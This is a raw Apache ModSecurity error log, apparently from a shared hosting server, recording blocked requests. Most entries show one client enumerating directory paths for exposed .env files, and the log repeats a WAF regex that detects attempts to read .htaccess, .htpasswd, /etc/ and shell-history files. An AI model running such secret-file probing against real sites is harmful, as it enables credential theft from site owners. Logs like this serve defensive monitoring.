"(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/backend/src/.env"] [unique_id "ai3y8FWSojQL4F7upKBfjAAAAI4"] [Sat Jun 13 18:16:48.368448 2026] [security2:error] [pid 648189:tid 648373] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/backendfinaltest/.env"] [unique_id "ai3y8FWSojQL4F7upKBfkQAAAJk"] [Sat Jun 13 18:16:48.440612 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:16:48.440892 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:16:48.455608 2026] [security2:error] [pid 648189:tid 648289] [remote 17.241.75.7:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 7.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y8FWSojQL4F7upKBflAAA1UM"] [Sat Jun 13 18:16:48.461872 2026] [security2:error] [pid 648189:tid 648240] [remote 17.246.15.163:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 163.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y8FWSojQL4F7upKBflQAAqhM"] [Sat Jun 13 18:16:48.701523 2026] [security2:error] [pid 646876:tid 646961] [remote 17.22.245.149:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 149.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y8NyTkdrNlD40tSGrZgAAXFI"] [Sat Jun 13 18:16:48.790091 2026] [security2:error] [pid 648189:tid 648353] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/base_dir/.env"] [unique_id "ai3y8FWSojQL4F7upKBfoAAAAIU"] [Sat Jun 13 18:16:48.933308 2026] [security2:error] [pid 648189:tid 648388] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/basic-network/.env"] [unique_id "ai3y8FWSojQL4F7upKBfowAAAKg"] [Sat Jun 13 18:16:48.984284 2026] [access_compat:error] [pid 646876:tid 646965] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL3N1YnN5c3RlbS9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:16:48.984733 2026] [access_compat:error] [pid 646876:tid 646965] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL3N1YnN5c3RlbS9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:16:49.065770 2026] [security2:error] [pid 648189:tid 648439] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/bgoldd/.env"] [unique_id "ai3y8VWSojQL4F7upKBfpgAAANo"] [Sat Jun 13 18:16:49.082251 2026] [access_compat:error] [pid 648189:tid 648323] [remote 57.141.14.55:25747] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:49.082528 2026] [access_compat:error] [pid 648189:tid 648323] [remote 57.141.14.55:25747] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:49.110954 2026] [access_compat:error] [pid 648189:tid 648305] [remote 57.141.14.15:32739] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:49.112253 2026] [access_compat:error] [pid 648189:tid 648305] [remote 57.141.14.15:32739] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:49.199574 2026] [security2:error] [pid 648189:tid 648407] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/bitcoind/.env"] [unique_id "ai3y8VWSojQL4F7upKBfrAAAALo"] [Sat Jun 13 18:16:49.301040 2026] [access_compat:error] [pid 648189:tid 648320] [remote 57.141.14.54:64075] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:49.301318 2026] [access_compat:error] [pid 648189:tid 648320] [remote 57.141.14.54:64075] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:49.333317 2026] [security2:error] [pid 648189:tid 648396] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/blankon/.env"] [unique_id "ai3y8VWSojQL4F7upKBfsQAAALA"] [Sat Jun 13 18:16:49.467440 2026] [security2:error] [pid 648189:tid 648409] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/blob/.env"] [unique_id "ai3y8VWSojQL4F7upKBftAAAALw"] [Sat Jun 13 18:16:49.530126 2026] [access_compat:error] [pid 646876:tid 646960] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:16:49.530590 2026] [access_compat:error] [pid 646876:tid 646960] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:16:49.561526 2026] [security2:error] [pid 646876:tid 646937] [remote 17.22.245.96:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 96.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y8dyTkdrNlD40tSGrdQAAazo"] [Sat Jun 13 18:16:49.601011 2026] [security2:error] [pid 648189:tid 648478] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/blog/.env"] [unique_id "ai3y8VWSojQL4F7upKBftwAAAPw"] [Sat Jun 13 18:16:49.735230 2026] [security2:error] [pid 648189:tid 648387] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/blogs/.env"] [unique_id "ai3y8VWSojQL4F7upKBfuwAAAKc"] [Sat Jun 13 18:16:49.741169 2026] [access_compat:error] [pid 648189:tid 648272] [remote 57.141.14.95:58341] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:49.741459 2026] [access_compat:error] [pid 648189:tid 648272] [remote 57.141.14.95:58341] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:49.757151 2026] [security2:error] [pid 648189:tid 648389] [client 34.23.213.224:45306] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y8VWSojQL4F7upKBfugAAAKk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:49.757939 2026] [security2:error] [pid 646876:tid 647064] [client 34.23.213.224:45310] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y8dyTkdrNlD40tSGrdwAAADg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:49.868785 2026] [security2:error] [pid 648189:tid 648473] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/blue/.env"] [unique_id "ai3y8VWSojQL4F7upKBfvgAAAPc"] [Sat Jun 13 18:16:49.921917 2026] [security2:error] [pid 646876:tid 647022] [client 34.23.213.224:45312] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y8dyTkdrNlD40tSGregAAAA4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:49.960642 2026] [access_compat:error] [pid 646876:tid 646986] [remote 57.141.14.19:55842] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:49.961125 2026] [access_compat:error] [pid 646876:tid 646986] [remote 57.141.14.19:55842] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:49.979348 2026] [security2:error] [pid 646876:tid 647028] [client 34.23.213.224:45328] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y8dyTkdrNlD40tSGrfwAAABQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:50.012273 2026] [security2:error] [pid 648189:tid 648436] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/bookchain-client/.env"] [unique_id "ai3y8lWSojQL4F7upKBfwwAAANc"] [Sat Jun 13 18:16:50.059303 2026] [access_compat:error] [pid 646876:tid 646952] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9kcml2ZXIvc2VyaW8xL3Bvd2Vy [Sat Jun 13 18:16:50.059640 2026] [access_compat:error] [pid 646876:tid 646952] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9kcml2ZXIvc2VyaW8xL3Bvd2Vy [Sat Jun 13 18:16:50.141583 2026] [security2:error] [pid 648189:tid 648376] [client 34.23.213.224:45330] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y8lWSojQL4F7upKBfxQAAAJw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:50.291827 2026] [security2:error] [pid 648189:tid 648358] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/bootstrap/.env"] [unique_id "ai3y8lWSojQL4F7upKBfyAAAAIo"] [Sat Jun 13 18:16:50.304276 2026] [security2:error] [pid 648189:tid 648398] [client 34.23.213.224:45344] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y8lWSojQL4F7upKBfyQAAALI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:50.421074 2026] [access_compat:error] [pid 646876:tid 646924] [remote 57.141.14.80:54881] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:50.421353 2026] [access_compat:error] [pid 646876:tid 646924] [remote 57.141.14.80:54881] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:50.424744 2026] [security2:error] [pid 648189:tid 648385] [client 185.177.72.9:43662] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/boxes/oracle-vagrant-boxes/ContainerRegistry/.env"] [unique_id "ai3y8lWSojQL4F7upKBf0wAAAKU"] [Sat Jun 13 18:16:50.427099 2026] [security2:error] [pid 648189:tid 648242] [remote 17.246.19.93:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 93.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname 